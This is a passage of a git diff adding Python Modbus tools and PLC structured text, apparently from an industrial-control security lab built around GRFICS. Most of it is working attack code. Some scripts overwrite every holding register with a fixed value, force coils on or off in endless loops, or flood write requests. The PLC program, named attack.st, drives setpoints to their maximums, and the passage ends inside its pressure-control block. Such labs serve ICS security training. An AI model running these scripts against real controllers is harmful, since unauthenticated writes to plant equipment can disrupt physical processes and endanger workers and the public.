+Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 